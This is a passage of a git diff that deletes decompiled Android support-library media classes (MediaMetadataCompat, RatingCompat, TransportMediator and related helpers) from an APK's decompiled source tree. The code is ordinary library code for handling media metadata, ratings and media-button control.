this.mBundle.getCharSequence(str); - if (charSequence != null) { - return charSequence.toString(); - } - return null; - } - - public long getLong(String str) { - return this.mBundle.getLong(str, 0L); - } - - public RatingCompat getRating(String str) { - try { - return RatingCompat.fromRating(this.mBundle.getParcelable(str)); - } catch (Exception e) { - Log.w(TAG, "Failed to retrieve a key as Rating.", e); - return null; - } - } - - public Bitmap getBitmap(String str) { - try { - return (Bitmap) this.mBundle.getParcelable(str); - } catch (Exception e) { - Log.w(TAG, "Failed to retrieve a key as Bitmap.", e); - return null; - } - } - - public MediaDescriptionCompat getDescription() { - Bitmap bitmap; - Uri uri; - MediaDescriptionCompat mediaDescriptionCompat = this.mDescription; - if (mediaDescriptionCompat != null) { - return mediaDescriptionCompat; - } - String string = getString(METADATA_KEY_MEDIA_ID); - CharSequence[] charSequenceArr = new CharSequence[3]; - CharSequence text = getText(METADATA_KEY_DISPLAY_TITLE); - if (TextUtils.isEmpty(text)) { - int i = 0; - int i2 = 0; - while (i < 3) { - String[] strArr = PREFERRED_DESCRIPTION_ORDER; - if (i2 >= strArr.length) { - break; - } - int i3 = i2 + 1; - CharSequence text2 = getText(strArr[i2]); - if (!TextUtils.isEmpty(text2)) { - charSequenceArr[i] = text2; - i++; - } - i2 = i3; - } - } else { - charSequenceArr[0] = text; - charSequenceArr[1] = getText(METADATA_KEY_DISPLAY_SUBTITLE); - charSequenceArr[2] = getText(METADATA_KEY_DISPLAY_DESCRIPTION); - } - int i4 = 0; - while (true) { - String[] strArr2 = PREFERRED_BITMAP_ORDER; - if (i4 >= strArr2.length) { - bitmap = null; - break; - } - bitmap = getBitmap(strArr2[i4]); - if (bitmap != null) { - break; - } - i4++; - } - int i5 = 0; - while (true) { - String[] strArr3 = PREFERRED_URI_ORDER; - if (i5 >= strArr3.length) { - uri = null; - break; - } - String string2 = getString(strArr3[i5]); - if (!TextUtils.isEmpty(string2)) { - uri = Uri.parse(string2); - break; - } - i5++; - } - String string3 = getString(METADATA_KEY_MEDIA_URI); - Uri parse = TextUtils.isEmpty(string3) ? null : Uri.parse(string3); - MediaDescriptionCompat.Builder builder = new MediaDescriptionCompat.Builder(); - builder.setMediaId(string); - builder.setTitle(charSequenceArr[0]); - builder.setSubtitle(charSequenceArr[1]); - builder.setDescription(charSequenceArr[2]); - builder.setIconBitmap(bitmap); - builder.setIconUri(uri); - builder.setMediaUri(parse); - if (this.mBundle.containsKey(METADATA_KEY_BT_FOLDER_TYPE)) { - Bundle bundle = new Bundle(); - bundle.putLong(MediaDescriptionCompat.EXTRA_BT_FOLDER_TYPE, getLong(METADATA_KEY_BT_FOLDER_TYPE)); - builder.setExtras(bundle); - } - MediaDescriptionCompat build = builder.build(); - this.mDescription = build; - return build; - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeBundle(this.mBundle); - } - - public int size() { - return this.mBundle.size(); - } - - public Set keySet() { - return this.mBundle.keySet(); - } - - public Bundle getBundle() { - return this.mBundle; - } - - public static MediaMetadataCompat fromMediaMetadata(Object obj) { - if (obj != null) { - Parcel obtain = Parcel.obtain(); - MediaMetadataCompatApi21.writeToParcel(obj, obtain, 0); - obtain.setDataPosition(0); - MediaMetadataCompat createFromParcel = CREATOR.createFromParcel(obtain); - obtain.recycle(); - createFromParcel.mMetadataObj = obj; - return createFromParcel; - } - return null; - } - - public Object getMediaMetadata() { - Object obj = this.mMetadataObj; - if (obj == null) { - Parcel obtain = Parcel.obtain(); - writeToParcel(obtain, 0); - obtain.setDataPosition(0); - this.mMetadataObj = MediaMetadataCompatApi21.createFromParcel(obtain); - obtain.recycle(); - return this.mMetadataObj; - } - return obj; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class Builder { - private final Bundle mBundle; - - public Builder() { - this.mBundle = new Bundle(); - } - - public Builder(MediaMetadataCompat mediaMetadataCompat) { - this.mBundle = new Bundle(mediaMetadataCompat.mBundle); - } - - public Builder(MediaMetadataCompat mediaMetadataCompat, int i) { - this(mediaMetadataCompat); - for (String str : this.mBundle.keySet()) { - Object obj = this.mBundle.get(str); - if (obj != null && (obj instanceof Bitmap)) { - Bitmap bitmap = (Bitmap) obj; - if (bitmap.getHeight() > i || bitmap.getWidth() > i) { - putBitmap(str, scaleBitmap(bitmap, i)); - } else if (str.equals(MediaMetadataCompat.METADATA_KEY_ART) || str.equals(MediaMetadataCompat.METADATA_KEY_ALBUM_ART)) { - putBitmap(str, bitmap.copy(bitmap.getConfig(), false)); - } - } - } - } - - public Builder putText(String str, CharSequence charSequence) { - if (MediaMetadataCompat.METADATA_KEYS_TYPE.containsKey(str) && MediaMetadataCompat.METADATA_KEYS_TYPE.get(str).intValue() != 1) { - throw new IllegalArgumentException("The " + str + " key cannot be used to put a CharSequence"); - } - this.mBundle.putCharSequence(str, charSequence); - return this; - } - - public Builder putString(String str, String str2) { - if (MediaMetadataCompat.METADATA_KEYS_TYPE.containsKey(str) && MediaMetadataCompat.METADATA_KEYS_TYPE.get(str).intValue() != 1) { - throw new IllegalArgumentException("The " + str + " key cannot be used to put a String"); - } - this.mBundle.putCharSequence(str, str2); - return this; - } - - public Builder putLong(String str, long j) { - if (MediaMetadataCompat.METADATA_KEYS_TYPE.containsKey(str) && MediaMetadataCompat.METADATA_KEYS_TYPE.get(str).intValue() != 0) { - throw new IllegalArgumentException("The " + str + " key cannot be used to put a long"); - } - this.mBundle.putLong(str, j); - return this; - } - - public Builder putRating(String str, RatingCompat ratingCompat) { - if (MediaMetadataCompat.METADATA_KEYS_TYPE.containsKey(str) && MediaMetadataCompat.METADATA_KEYS_TYPE.get(str).intValue() != 3) { - throw new IllegalArgumentException("The " + str + " key cannot be used to put a Rating"); - } - this.mBundle.putParcelable(str, (Parcelable) ratingCompat.getRating()); - return this; - } - - public Builder putBitmap(String str, Bitmap bitmap) { - if (MediaMetadataCompat.METADATA_KEYS_TYPE.containsKey(str) && MediaMetadataCompat.METADATA_KEYS_TYPE.get(str).intValue() != 2) { - throw new IllegalArgumentException("The " + str + " key cannot be used to put a Bitmap"); - } - this.mBundle.putParcelable(str, bitmap); - return this; - } - - public MediaMetadataCompat build() { - return new MediaMetadataCompat(this.mBundle); - } - - private Bitmap scaleBitmap(Bitmap bitmap, int i) { - float f = i; - float min = Math.min(f / bitmap.getWidth(), f / bitmap.getHeight()); - return Bitmap.createScaledBitmap(bitmap, (int) (bitmap.getWidth() * min), (int) (bitmap.getHeight() * min), true); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaMetadataCompatApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/media/MediaMetadataCompatApi21.java deleted file mode 100644 index afc4f4d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/MediaMetadataCompatApi21.java +++ /dev/null @@ -1,71 +0,0 @@ -package android.support.v4.media; - -import android.graphics.Bitmap; -import android.media.MediaMetadata; -import android.media.Rating; -import android.os.Parcel; -import java.util.Set; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaMetadataCompatApi21 { - MediaMetadataCompatApi21() { - } - - public static Set keySet(Object obj) { - return ((MediaMetadata) obj).keySet(); - } - - public static Bitmap getBitmap(Object obj, String str) { - return ((MediaMetadata) obj).getBitmap(str); - } - - public static long getLong(Object obj, String str) { - return ((MediaMetadata) obj).getLong(str); - } - - public static Object getRating(Object obj, String str) { - return ((MediaMetadata) obj).getRating(str); - } - - public static CharSequence getText(Object obj, String str) { - return ((MediaMetadata) obj).getText(str); - } - - public static void writeToParcel(Object obj, Parcel parcel, int i) { - ((MediaMetadata) obj).writeToParcel(parcel, i); - } - - public static Object createFromParcel(Parcel parcel) { - return MediaMetadata.CREATOR.createFromParcel(parcel); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Builder { - public static Object newInstance() { - return new MediaMetadata.Builder(); - } - - public static void putBitmap(Object obj, String str, Bitmap bitmap) { - ((MediaMetadata.Builder) obj).putBitmap(str, bitmap); - } - - public static void putLong(Object obj, String str, long j) { - ((MediaMetadata.Builder) obj).putLong(str, j); - } - - public static void putRating(Object obj, String str, Object obj2) { - ((MediaMetadata.Builder) obj).putRating(str, (Rating) obj2); - } - - public static void putText(Object obj, String str, CharSequence charSequence) { - ((MediaMetadata.Builder) obj).putText(str, charSequence); - } - - public static void putString(Object obj, String str, String str2) { - ((MediaMetadata.Builder) obj).putString(str, str2); - } - - public static Object build(Object obj) { - return ((MediaMetadata.Builder) obj).build(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/ParceledListSliceAdapterApi21.java b/apk_3230/decompiled_source/sources/android/support/v4/media/ParceledListSliceAdapterApi21.java deleted file mode 100644 index 6eaabac..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/ParceledListSliceAdapterApi21.java +++ /dev/null @@ -1,30 +0,0 @@ -package android.support.v4.media; - -import android.media.browse.MediaBrowser; -import java.lang.reflect.Constructor; -import java.lang.reflect.InvocationTargetException; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ParceledListSliceAdapterApi21 { - private static Constructor sConstructor; - - ParceledListSliceAdapterApi21() { - } - - static { - try { - sConstructor = Class.forName("android.content.pm.ParceledListSlice").getConstructor(List.class); - } catch (ClassNotFoundException | NoSuchMethodException e) { - e.printStackTrace(); - } - } - - static Object newInstance(List list) { - try { - return sConstructor.newInstance(list); - } catch (IllegalAccessException | InstantiationException | InvocationTargetException e) { - e.printStackTrace(); - return null; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/RatingCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/media/RatingCompat.java deleted file mode 100644 index 73f0baf..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/RatingCompat.java +++ /dev/null @@ -1,203 +0,0 @@ -package android.support.v4.media; - -import android.os.Parcel; -import android.os.Parcelable; -import android.util.Log; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class RatingCompat implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.media.RatingCompat.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public RatingCompat createFromParcel(Parcel parcel) { - return new RatingCompat(parcel.readInt(), parcel.readFloat()); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public RatingCompat[] newArray(int i) { - return new RatingCompat[i]; - } - }; - public static final int RATING_3_STARS = 3; - public static final int RATING_4_STARS = 4; - public static final int RATING_5_STARS = 5; - public static final int RATING_HEART = 1; - public static final int RATING_NONE = 0; - private static final float RATING_NOT_RATED = -1.0f; - public static final int RATING_PERCENTAGE = 6; - public static final int RATING_THUMB_UP_DOWN = 2; - private static final String TAG = "Rating"; - private Object mRatingObj; - private final int mRatingStyle; - private final float mRatingValue; - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface StarStyle { - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface Style { - } - - RatingCompat(int i, float f) { - this.mRatingStyle = i; - this.mRatingValue = f; - } - - public String toString() { - StringBuilder append = new StringBuilder("Rating:style=").append(this.mRatingStyle).append(" rating="); - float f = this.mRatingValue; - return append.append(f < 0.0f ? "unrated" : String.valueOf(f)).toString(); - } - - @Override // android.os.Parcelable - public int describeContents() { - return this.mRatingStyle; - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeInt(this.mRatingStyle); - parcel.writeFloat(this.mRatingValue); - } - - public static RatingCompat newUnratedRating(int i) { - switch (i) { - case 1: - case 2: - case 3: - case 4: - case 5: - case 6: - return new RatingCompat(i, RATING_NOT_RATED); - default: - return null; - } - } - - public static RatingCompat newHeartRating(boolean z) { - return new RatingCompat(1, z ? 1.0f : 0.0f); - } - - public static RatingCompat newThumbRating(boolean z) { - return new RatingCompat(2, z ? 1.0f : 0.0f); - } - - public static RatingCompat newStarRating(int i, float f) { - float f2; - if (i == 3) { - f2 = 3.0f; - } else if (i == 4) { - f2 = 4.0f; - } else if (i != 5) { - Log.e(TAG, "Invalid rating style (" + i + ") for a star rating"); - return null; - } else { - f2 = 5.0f; - } - if (f < 0.0f || f > f2) { - Log.e(TAG, "Trying to set out of range star-based rating"); - return null; - } - return new RatingCompat(i, f); - } - - public static RatingCompat newPercentageRating(float f) { - if (f < 0.0f || f > 100.0f) { - Log.e(TAG, "Invalid percentage-based rating value"); - return null; - } - return new RatingCompat(6, f); - } - - public boolean isRated() { - return this.mRatingValue >= 0.0f; - } - - public int getRatingStyle() { - return this.mRatingStyle; - } - - public boolean hasHeart() { - return this.mRatingStyle == 1 && this.mRatingValue == 1.0f; - } - - public boolean isThumbUp() { - return this.mRatingStyle == 2 && this.mRatingValue == 1.0f; - } - - public float getStarRating() { - int i = this.mRatingStyle; - return ((i == 3 || i == 4 || i == 5) && isRated()) ? this.mRatingValue : RATING_NOT_RATED; - } - - public float getPercentRating() { - return (this.mRatingStyle == 6 && isRated()) ? this.mRatingValue : RATING_NOT_RATED; - } - - public static RatingCompat fromRating(Object obj) { - RatingCompat ratingCompat = null; - if (obj != null) { - int ratingStyle = RatingCompatKitkat.getRatingStyle(obj); - if (RatingCompatKitkat.isRated(obj)) { - switch (ratingStyle) { - case 1: - ratingCompat = newHeartRating(RatingCompatKitkat.hasHeart(obj)); - break; - case 2: - ratingCompat = newThumbRating(RatingCompatKitkat.isThumbUp(obj)); - break; - case 3: - case 4: - case 5: - ratingCompat = newStarRating(ratingStyle, RatingCompatKitkat.getStarRating(obj)); - break; - case 6: - ratingCompat = newPercentageRating(RatingCompatKitkat.getPercentRating(obj)); - break; - default: - return null; - } - } else { - ratingCompat = newUnratedRating(ratingStyle); - } - ratingCompat.mRatingObj = obj; - } - return ratingCompat; - } - - public Object getRating() { - Object obj = this.mRatingObj; - if (obj == null) { - if (isRated()) { - int i = this.mRatingStyle; - switch (i) { - case 1: - this.mRatingObj = RatingCompatKitkat.newHeartRating(hasHeart()); - break; - case 2: - this.mRatingObj = RatingCompatKitkat.newThumbRating(isThumbUp()); - break; - case 3: - case 4: - case 5: - this.mRatingObj = RatingCompatKitkat.newStarRating(i, getStarRating()); - break; - case 6: - this.mRatingObj = RatingCompatKitkat.newPercentageRating(getPercentRating()); - return null; - default: - return null; - } - } else { - this.mRatingObj = RatingCompatKitkat.newUnratedRating(this.mRatingStyle); - } - return this.mRatingObj; - } - return obj; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/RatingCompatKitkat.java b/apk_3230/decompiled_source/sources/android/support/v4/media/RatingCompatKitkat.java deleted file mode 100644 index d2b0ca5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/RatingCompatKitkat.java +++ /dev/null @@ -1,52 +0,0 @@ -package android.support.v4.media; - -import android.media.Rating; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class RatingCompatKitkat { - RatingCompatKitkat() { - } - - public static Object newUnratedRating(int i) { - return Rating.newUnratedRating(i); - } - - public static Object newHeartRating(boolean z) { - return Rating.newHeartRating(z); - } - - public static Object newThumbRating(boolean z) { - return Rating.newThumbRating(z); - } - - public static Object newStarRating(int i, float f) { - return Rating.newStarRating(i, f); - } - - public static Object newPercentageRating(float f) { - return Rating.newPercentageRating(f); - } - - public static boolean isRated(Object obj) { - return ((Rating) obj).isRated(); - } - - public static int getRatingStyle(Object obj) { - return ((Rating) obj).getRatingStyle(); - } - - public static boolean hasHeart(Object obj) { - return ((Rating) obj).hasHeart(); - } - - public static boolean isThumbUp(Object obj) { - return ((Rating) obj).isThumbUp(); - } - - public static float getStarRating(Object obj) { - return ((Rating) obj).getStarRating(); - } - - public static float getPercentRating(Object obj) { - return ((Rating) obj).getPercentRating(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportController.java b/apk_3230/decompiled_source/sources/android/support/v4/media/TransportController.java deleted file mode 100644 index 5828355..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportController.java +++ /dev/null @@ -1,25 +0,0 @@ -package android.support.v4.media; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class TransportController { - public abstract int getBufferPercentage(); - - public abstract long getCurrentPosition(); - - public abstract long getDuration(); - - public abstract int getTransportControlFlags(); - - public abstract boolean isPlaying(); - - public abstract void pausePlaying(); - - public abstract void registerStateListener(TransportStateListener transportStateListener); - - public abstract void seekTo(long j); - - public abstract void startPlaying(); - - public abstract void stopPlaying(); - - public abstract void unregisterStateListener(TransportStateListener transportStateListener); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportMediator.java b/apk_3230/decompiled_source/sources/android/support/v4/media/TransportMediator.java deleted file mode 100644 index b796729..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportMediator.java +++ /dev/null @@ -1,248 +0,0 @@ -package android.support.v4.media; - -import android.app.Activity; -import android.content.Context; -import android.media.AudioManager; -import android.view.KeyEvent; -import android.view.View; -import java.util.ArrayList; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class TransportMediator extends TransportController { - public static final int FLAG_KEY_MEDIA_FAST_FORWARD = 64; - public static final int FLAG_KEY_MEDIA_NEXT = 128; - public static final int FLAG_KEY_MEDIA_PAUSE = 16; - public static final int FLAG_KEY_MEDIA_PLAY = 4; - public static final int FLAG_KEY_MEDIA_PLAY_PAUSE = 8; - public static final int FLAG_KEY_MEDIA_PREVIOUS = 1; - public static final int FLAG_KEY_MEDIA_REWIND = 2; - public static final int FLAG_KEY_MEDIA_STOP = 32; - public static final int KEYCODE_MEDIA_PAUSE = 127; - public static final int KEYCODE_MEDIA_PLAY = 126; - public static final int KEYCODE_MEDIA_RECORD = 130; - final AudioManager mAudioManager; - final TransportPerformer mCallbacks; - final Context mContext; - final TransportMediatorJellybeanMR2 mController; - final Object mDispatcherState; - final KeyEvent.Callback mKeyEventCallback; - final ArrayList mListeners; - final TransportMediatorCallback mTransportKeyCallback; - final View mView; - - static boolean isMediaKey(int i) { - if (i == 79 || i == 130 || i == 126 || i == 127) { - return true; - } - switch (i) { - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - case 91: - return true; - default: - return false; - } - } - - public TransportMediator(Activity activity, TransportPerformer transportPerformer) { - this(activity, null, transportPerformer); - } - - public TransportMediator(View view, TransportPerformer transportPerformer) { - this(null, view, transportPerformer); - } - - private TransportMediator(Activity activity, View view, TransportPerformer transportPerformer) { - this.mListeners = new ArrayList<>(); - TransportMediatorCallback transportMediatorCallback = new TransportMediatorCallback() { // from class: android.support.v4.media.TransportMediator.1 - @Override // android.support.v4.media.TransportMediatorCallback - public void handleKey(KeyEvent keyEvent) { - keyEvent.dispatch(TransportMediator.this.mKeyEventCallback); - } - - @Override // android.support.v4.media.TransportMediatorCallback - public void handleAudioFocusChange(int i) { - TransportMediator.this.mCallbacks.onAudioFocusChange(i); - } - - @Override // android.support.v4.media.TransportMediatorCallback - public long getPlaybackPosition() { - return TransportMediator.this.mCallbacks.onGetCurrentPosition(); - } - - @Override // android.support.v4.media.TransportMediatorCallback - public void playbackPositionUpdate(long j) { - TransportMediator.this.mCallbacks.onSeekTo(j); - } - }; - this.mTransportKeyCallback = transportMediatorCallback; - this.mKeyEventCallback = new KeyEvent.Callback() { // from class: android.support.v4.media.TransportMediator.2 - @Override // android.view.KeyEvent.Callback - public boolean onKeyLongPress(int i, KeyEvent keyEvent) { - return false; - } - - @Override // android.view.KeyEvent.Callback - public boolean onKeyMultiple(int i, int i2, KeyEvent keyEvent) { - return false; - } - - @Override // android.view.KeyEvent.Callback - public boolean onKeyDown(int i, KeyEvent keyEvent) { - if (TransportMediator.isMediaKey(i)) { - return TransportMediator.this.mCallbacks.onMediaButtonDown(i, keyEvent); - } - return false; - } - - @Override // android.view.KeyEvent.Callback - public boolean onKeyUp(int i, KeyEvent keyEvent) { - if (TransportMediator.isMediaKey(i)) { - return TransportMediator.this.mCallbacks.onMediaButtonUp(i, keyEvent); - } - return false; - } - }; - Context context = activity != null ? activity : view.getContext(); - this.mContext = context; - this.mCallbacks = transportPerformer; - AudioManager audioManager = (AudioManager) context.getSystemService("audio"); - this.mAudioManager = audioManager; - view = activity != null ? activity.getWindow().getDecorView() : view; - this.mView = view; - this.mDispatcherState = view.getKeyDispatcherState(); - this.mController = new TransportMediatorJellybeanMR2(context, audioManager, view, transportMediatorCallback); - } - - public Object getRemoteControlClient() { - TransportMediatorJellybeanMR2 transportMediatorJellybeanMR2 = this.mController; - if (transportMediatorJellybeanMR2 != null) { - return transportMediatorJellybeanMR2.getRemoteControlClient(); - } - return null; - } - - public boolean dispatchKeyEvent(KeyEvent keyEvent) { - return keyEvent.dispatch(this.mKeyEventCallback, (KeyEvent.DispatcherState) this.mDispatcherState, this); - } - - @Override // android.support.v4.media.TransportController - public void registerStateListener(TransportStateListener transportStateListener) { - this.mListeners.add(transportStateListener); - } - - @Override // android.support.v4.media.TransportController - public void unregisterStateListener(TransportStateListener transportStateListener) { - this.mListeners.remove(transportStateListener); - } - - private TransportStateListener[] getListeners() { - if (this.mListeners.size() <= 0) { - return null; - } - TransportStateListener[] transportStateListenerArr = new TransportStateListener[this.mListeners.size()]; - this.mListeners.toArray(transportStateListenerArr); - return transportStateListenerArr; - } - - private void reportPlayingChanged() { - TransportStateListener[] listeners = getListeners(); - if (listeners != null) { - for (TransportStateListener transportStateListener : listeners) { - transportStateListener.onPlayingChanged(this); - } - } - } - - private void reportTransportControlsChanged() { - TransportStateListener[] listeners = getListeners(); - if (listeners != null) { - for (TransportStateListener transportStateListener : listeners) { - transportStateListener.onTransportControlsChanged(this); - } - } - } - - private void pushControllerState() { - TransportMediatorJellybeanMR2 transportMediatorJellybeanMR2 = this.mController; - if (transportMediatorJellybeanMR2 != null) { - transportMediatorJellybeanMR2.refreshState(this.mCallbacks.onIsPlaying(), this.mCallbacks.onGetCurrentPosition(), this.mCallbacks.onGetTransportControlFlags()); - } - } - - public void refreshState() { - pushControllerState(); - reportPlayingChanged(); - reportTransportControlsChanged(); - } - - @Override // android.support.v4.media.TransportController - public void startPlaying() { - TransportMediatorJellybeanMR2 transportMediatorJellybeanMR2 = this.mController; - if (transportMediatorJellybeanMR2 != null) { - transportMediatorJellybeanMR2.startPlaying(); - } - this.mCallbacks.onStart(); - pushControllerState(); - reportPlayingChanged(); - } - - @Override // android.support.v4.media.TransportController - public void pausePlaying() { - TransportMediatorJellybeanMR2 transportMediatorJellybeanMR2 = this.mController; - if (transportMediatorJellybeanMR2 != null) { - transportMediatorJellybeanMR2.pausePlaying(); - } - this.mCallbacks.onPause(); - pushControllerState(); - reportPlayingChanged(); - } - - @Override // android.support.v4.media.TransportController - public void stopPlaying() { - TransportMediatorJellybeanMR2 transportMediatorJellybeanMR2 = this.mController; - if (transportMediatorJellybeanMR2 != null) { - transportMediatorJellybeanMR2.stopPlaying(); - } - this.mCallbacks.onStop(); - pushControllerState(); - reportPlayingChanged(); - } - - @Override // android.support.v4.media.TransportController - public long getDuration() { - return this.mCallbacks.onGetDuration(); - } - - @Override // android.support.v4.media.TransportController - public long getCurrentPosition() { - return this.mCallbacks.onGetCurrentPosition(); - } - - @Override // android.support.v4.media.TransportController - public void seekTo(long j) { - this.mCallbacks.onSeekTo(j); - } - - @Override // android.support.v4.media.TransportController - public boolean isPlaying() { - return this.mCallbacks.onIsPlaying(); - } - - @Override // android.support.v4.media.TransportController - public int getBufferPercentage() { - return this.mCallbacks.onGetBufferPercentage(); - } - - @Override // android.support.v4.media.TransportController - public int getTransportControlFlags() { - return this.mCallbacks.onGetTransportControlFlags(); - } - - public void destroy() { - this.mController.destroy(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportMediatorCallback.java b/apk_3230/decompiled_source/sources/android/support/v4/media/TransportMediatorCallback.java deleted file mode 100644 index 3d0993e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportMediatorCallback.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.media; - -import android.view.KeyEvent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -interface TransportMediatorCallback { - long getPlaybackPosition(); - - void handleAudioFocusChange(int i); - - void handleKey(KeyEvent keyEvent); - - void playbackPositionUpdate(long j); -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportMediatorJellybeanMR2.java b/apk_3230/decompiled_source/sources/android/support/v4/media/TransportMediatorJellybeanMR2.java deleted file mode 100644 index 44f92ea..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/TransportMediatorJellybeanMR2.java +++ /dev/null @@ -1,202 +0,0 @@ -package android.support.v4.media; - -import android.app.PendingIntent; -import android.content.BroadcastReceiver; -import android.content.Context; -import android.content.Intent; -import android.content.IntentFilter; -import android.media.AudioManager; -import android.media.RemoteControlClient; -import android.util.Log; -import android.view.KeyEvent; -import android.view.View; -import android.view.ViewTreeObserver; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class TransportMediatorJellybeanMR2 { - AudioManager.OnAudioFocusChangeListener mAudioFocusChangeListener; - boolean mAudioFocused; - final AudioManager mAudioManager; - final Context mContext; - boolean mFocused; - final RemoteControlClient.OnGetPlaybackPositionListener mGetPlaybackPositionListener; - final Intent mIntent; - final BroadcastReceiver mMediaButtonReceiver; - PendingIntent mPendingIntent; - int mPlayState; - final RemoteControlClient.OnPlaybackPositionUpdateListener mPlaybackPositionUpdateListener; - final String mReceiverAction; - final IntentFilter mReceiverFilter; - RemoteControlClient mRemoteControl; - final View mTargetView; - final TransportMediatorCallback mTransportCallback; - final ViewTreeObserver.OnWindowAttachListener mWindowAttachListener; - final ViewTreeObserver.OnWindowFocusChangeListener mWindowFocusListener; - - public TransportMediatorJellybeanMR2(Context context, AudioManager audioManager, View view, TransportMediatorCallback transportMediatorCallback) { - ViewTreeObserver.OnWindowAttachListener onWindowAttachListener = new ViewTreeObserver.OnWindowAttachListener() { // from class: android.support.v4.media.TransportMediatorJellybeanMR2.1 - @Override // android.view.ViewTreeObserver.OnWindowAttachListener - public void onWindowAttached() { - TransportMediatorJellybeanMR2.this.windowAttached(); - } - - @Override // android.view.ViewTreeObserver.OnWindowAttachListener - public void onWindowDetached() { - TransportMediatorJellybeanMR2.this.windowDetached(); - } - }; - this.mWindowAttachListener = onWindowAttachListener; - ViewTreeObserver.OnWindowFocusChangeListener onWindowFocusChangeListener = new ViewTreeObserver.OnWindowFocusChangeListener() { // from class: android.support.v4.media.TransportMediatorJellybeanMR2.2 - @Override // android.view.ViewTreeObserver.OnWindowFocusChangeListener - public void onWindowFocusChanged(boolean z) { - if (z) { - TransportMediatorJellybeanMR2.this.gainFocus(); - } else { - TransportMediatorJellybeanMR2.this.loseFocus(); - } - } - }; - this.mWindowFocusListener = onWindowFocusChangeListener; - this.mMediaButtonReceiver = new BroadcastReceiver() { // from class: android.support.v4.media.TransportMediatorJellybeanMR2.3 - @Override // android.content.BroadcastReceiver - public void onReceive(Context context2, Intent intent) { - try { - TransportMediatorJellybeanMR2.this.mTransportCallback.handleKey((KeyEvent) intent.getParcelableExtra("android.intent.extra.KEY_EVENT")); - } catch (ClassCastException e) { - Log.w("TransportController", e); - } - } - }; - this.mAudioFocusChangeListener = new AudioManager.OnAudioFocusChangeListener() { // from class: android.support.v4.media.TransportMediatorJellybeanMR2.4 - @Override // android.media.AudioManager.OnAudioFocusChangeListener - public void onAudioFocusChange(int i) { - TransportMediatorJellybeanMR2.this.mTransportCallback.handleAudioFocusChange(i); - } - }; - this.mGetPlaybackPositionListener = new RemoteControlClient.OnGetPlaybackPositionListener() { // from class: android.support.v4.media.TransportMediatorJellybeanMR2.5 - @Override // android.media.RemoteControlClient.OnGetPlaybackPositionListener - public long onGetPlaybackPosition() { - return TransportMediatorJellybeanMR2.this.mTransportCallback.getPlaybackPosition(); - } - }; - this.mPlaybackPositionUpdateListener = new RemoteControlClient.OnPlaybackPositionUpdateListener() { // from class: android.support.v4.media.TransportMediatorJellybeanMR2.6 - @Override // android.media.RemoteControlClient.OnPlaybackPositionUpdateListener - public void onPlaybackPositionUpdate(long j) { - TransportMediatorJellybeanMR2.this.mTransportCallback.playbackPositionUpdate(j); - } - }; - this.mPlayState = 0; - this.mContext = context; - this.mAudioManager = audioManager; - this.mTargetView = view; - this.mTransportCallback = transportMediatorCallback; - String str = context.getPackageName() + ":transport:" + System.identityHashCode(this); - this.mReceiverAction = str; - Intent intent = new Intent(str); - this.mIntent = intent; - intent.setPackage(context.getPackageName()); - IntentFilter intentFilter = new IntentFilter(); - this.mReceiverFilter = intentFilter; - intentFilter.addAction(str); - view.getViewTreeObserver().addOnWindowAttachListener(onWindowAttachListener); - view.getViewTreeObserver().addOnWindowFocusChangeListener(onWindowFocusChangeListener); - } - - public Object getRemoteControlClient() { - return this.mRemoteControl; - } - - public void destroy() { - windowDetached(); - this.mTargetView.getViewTreeObserver().removeOnWindowAttachListener(this.mWindowAttachListener); - this.mTargetView.getViewTreeObserver().removeOnWindowFocusChangeListener(this.mWindowFocusListener); - } - - void windowAttached() { - this.mContext.registerReceiver(this.mMediaButtonReceiver, this.mReceiverFilter); - this.mPendingIntent = PendingIntent.getBroadcast(this.mContext, 0, this.mIntent, 268435456); - RemoteControlClient remoteControlClient = new RemoteControlClient(this.mPendingIntent); - this.mRemoteControl = remoteControlClient; - remoteControlClient.setOnGetPlaybackPositionListener(this.mGetPlaybackPositionListener); - this.mRemoteControl.setPlaybackPositionUpdateListener(this.mPlaybackPositionUpdateListener); - } - - void gainFocus() { - if (this.mFocused) 